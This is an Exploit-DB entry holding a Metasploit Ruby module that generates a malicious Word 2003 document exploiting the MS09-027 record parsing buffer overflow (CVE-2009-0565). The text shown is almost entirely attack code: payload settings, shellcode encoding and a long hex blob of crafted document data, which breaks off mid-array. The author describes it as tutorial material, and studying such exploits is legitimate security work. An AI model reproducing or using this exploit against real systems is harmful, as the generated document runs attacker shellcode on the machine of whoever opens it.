Exploit-DB #17177
Description: Microsoft Word 2003 - Record Parsing Buffer Overflow (MS09-027) (Metasploit)
Type: local
Platform: windows
Date: 2011-04-16
Author: Andrew King

Exploit:
##
# $Id: ms09-027 10477 2011-04-13 11:59:02Z mc $
##

##
# This file is not part of the Metasploit Framework and may not be subject to
# redistribution and commercial restrictions.
##


#TODO some testing to find the real banned characters and maxlen
# add those parameters to the .rb file
# drop in appropriate directory
# ulimit -s 100000 is required to run this exploit appropriately

require 'msf/core'
#require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MS Word Record Parsing Buffer Overflow(MS-09-027)',
			'Description'    => %q{
					MS Word Record Parsing Buffer Overflow(MS-09-027)
					Vulnerble application MS office 2003
					Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606
					Bug Found By Wushi of team509
					Greets Villy, Abhishek Lyall and ASL IT SECURITY TEAM
					Original Author Abhishek Sahni - abhi00703[at]gmail[dot]com, info[at]aslitsecurity[dot]com
					Web - http://www.aslitsecurity.com/
					Blog - http://www.aslitsecurity.blogspot.com/

					Metasploit Module by aking1012
					tested on xpsp3 with office 2k3
					note requires non-standard ulimit parameters at least on my box
					requires a larger than default stack at least on my laptop due to how ruby handles the LARGE compressed section...moving on...
					ulimit -s 100000 is required to run this exploit appropriately
					
					This was for a tutorial on www.securitytube.net and in reference to several questions on their q and a side
					There are some things I could do better in here, but it was for a tutorial.			},
			'License'        => 'Creative Commons, Share and Share Alike',
			'Author'         => [ 'MC', 'Andrew King <aking1012.com[at]gmail.com>', ],
			'Version'        => '$Revision: 0 $',
			'References'     =>
				[
					[ 'CVE', '2009-0565' ],
					[ 'OSVDB', '54960' ],
					[ 'MS', '09-027' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1200,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Microsoft Office 2003 (Windows XP SP0-SP3 English)', { 'Ret' => '' } ],
				],
			'DisclosureDate' => '2009 06 09',
			'DefaultTarget'  => 0 ))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'demo.doc']),
			], self.class)
	end

	def exploit
		# Encode the shellcode.
		shellcode = String.new()
		print_status("[+]Generating shellcode")
		shellcode = payload.encoded
		print_status("[+]Shellcode generated")

		print_status("[+]Note: this exploit requires an abnormally large stack.  doc file is created in pwd.")
		print_status("[+]Creating '#{datastore['FILENAME']}' file...")
		# Create the doc
		make_doc(shellcode)
		print_status("[+]Finished evil doc write")


	end

	def make_doc(shellcode)

		compressed = String.new()
		compressed = "\x78\x9C\xEC\xBD\x77\x60\x54\xD5\xB6\x30\x3E\x69\x14\xAF\xF1\x7A\xBF\xAB\xCF\xFB\x7C\x4F\xDF" +
		"\xDC\x0B\x57\x13\x9C\x84\x84\x84\x22\x78\x81\xD0\x51\x02\x48\xA8\x57\x11\x27\x33\x27\xC9\x90" +
		"\x69\xCC\x99\x49\x88\x88\x8A\x82\x06\x0B\x52\x94\xAA\x82\x0D\x15\x1B\x55\x91\x2E\xF6\x46\x47" +
		"\xBA\x20\x01\x02\xA1\x25\x04\x48\x9F\xFD\x5B\x6B\xED\xBD\x4F\x99\x0C\x3E\xEF\xFB\x7D\xDF\xF7" +
		"\xD7\x17\x3D\xCC\xCC\x29\x6B\xEF\xBD\xF6\xDA\xAB\xEF\x75\x76\x6C\xFF\xD3\xB1\xD7\x57\xDC\xFA" +
		"\xAB\x25\xE2\xAF\x9B\x25\xCE\x12\x66\xAD\x2D\x2D\x0C\xE7\x6E\x84\x23\xC6\xF0\x23\x56\xFC\x0E" +
		"\x33\xC6\xE4\xE9\x22\x38\xCA\xE1\x08\xE2\x05\xB8\x21\x00\x07\x83\xC3\x1F\x67\xB1\x34\xC1\xD1" +
		"\x29\xDE\x62\xE9\x0C\x47\x17\x38\xBE\x4E\xB0\x58\xBE\x81\xE3\x5B\x38\x46\xB7\x84\xFB\xFE\xDF" +
		"\xDF\xFF\xF5\xBF\x26\x38\x3A\xC6\xF3\x39\xEC\x03\x73\x00\x53\x41\x73\x0E\x5F\x2D\xAD\xE0\x68" +
		"\x0D\xC7\x75\x70\xFC\x01\x8E\xEB\xE1\x48\x84\xE3\x06\x38\xFE\x28\xE8\xE1\x4F\x70\xFC\x2F\x38" +
		"\xFE\x0C\xC7\x4D\x70\xDC\x0C\xC7\xBF\xC1\x71\x0B\x1C\x7F\x81\xE3\xDF\xE1\xB8\x15\x8E\xFF\x80" +
		"\xE3\x3F\xE1\xB8\x0D\x8E\xDB\xE1\xF8\x2F\x38\xAC\x70\xFC\x15\x8E\xBF\xC1\xD1\x06\x8E\xB6\x70" +
		"\xFC\x1D\x8E\x3B\xE0\xB8\x13\x8E\x24\x38\x92\xE1\x68\x07\xC7\x5D\x70\xD8\xE0\x48\x81\x23\x15" +
		"\x8E\xF6\x70\xA4\xC1\x91\x0E\x47\x07\x38\x32\xE0\xC8\x84\xA3\x23\x1C\x9D\xE0\xE8\x0C\x47\x17" +
		"\x38\xEE\x86\xA3\x2B\xD1\xB3\xC5\x72\x0F\x1C\xFF\x80\xA3\x3B\x1C\x3D\xE0\xE8\x09\x47\x16\x1C" +
		"\xBD\xE0\xE8\x0D\x47\x1F\x38\xFA\xC2\xD1\x0F\x8E\xFE\x70\x0C\x80\x63\x20\x1C\xF7\xC2\x71\x1F" +
		"\x1C\x83\xE0\xC8\x86\x63\x30\x1C\x43\xE0\x18\x0A\xC7\xFD\x70\x0C\x83\x23\x07\x8E\xE1\x70\x8C" +
		"\x80\x63\x24\x1C\xA3\xE0\x18\x0D\xC7\x18\x38\xFE\x09\xC7\x03\x70\x3C\x08\xC7\x58\x38\x1E\x82" +
		"\x63\x1C\x1C\x0F\xC3\x61\x87\x23\x17\x0E\x07\x1C\x4E\x38\x14\x38\xF2\xE0\xC8\x87\xA3\x00\x0E" +
		"\x17\x1C\xE3\xE1\x28\x84\xC3\x0D\x87\x07\x0E\x2F\x1C\x3E\x38\xFC\x70\x4C\x80\x23\x00\x87\x8A" +
		"\x6B\x0E\x8E\x10\x1C\xC5\x70\xE0\xBC\x4E\x84\xCF\x12\x38\x1E\x81\x63\x12\x1C\x8F\xC2\x31\x19" +
		"\x8E\xC7\xE0\x78\x1C\x8E\x27\xA8\xEF\x3E\xF8\x2F\x08\x73\xD1\x17\xE0\x06\x01\x16\x3E\xF1\xFB" +
		"\xFF\xFE\x0D\x28\x46\xD2\x52\x1C\x9E\x68\x1D\x4B\xE7\xB7\xF0\xCB\xFD\x8C\xF7\x3E\x7D\xB2\xEE" +
		"\xA3\x9A\xD6\xEB\x63\xF0\xBE\x2D\x2D\xF9\xB9\x18\xC0\xBC\x0F\x46\xE5\x07\x8C\xE6\xD2\x48\xFF" +
		"\xB5\xBF\xFF\x65\x89\x8D\x31\xD2\xF3\xEF\x7D\x2E\x57\x7C\x8E\x82\xD6\x03\x80\xF9\x3E\xF0\xE9" +
		"\x00\xEC\x79\x60\x06\xBC\x84\xC9\xDF\xF7\x77\xAB\x68\x1F\xD7\xC6\xEF\x6D\x1F\x96\x9B\xA5\xDD" +
		"\x77\xAD\xE8\x3B\x1F\xB5\x02\x6D\x07\x81\x9E\x70\x2E\xDC\xBF\xBB\x6D\xFC\xFB\x37\x4B\x4C\x8C" +
		"\x60\xB5\x04\x37\xDA\xDF\xD3\xF1\xF1\xEF\x21\xDE\xE5\x27\x9E\xDB\x93\x98\x79\x53\xCF\xF8\x3D" +
		"\x89\x92\x7F\xC7\x89\xCF\x04\xF1\x89\xC7\xBF\xB2\xFE\xF1\xFE\x7F\x65\xFD\x87\xFF\xEF\xB0\xB7"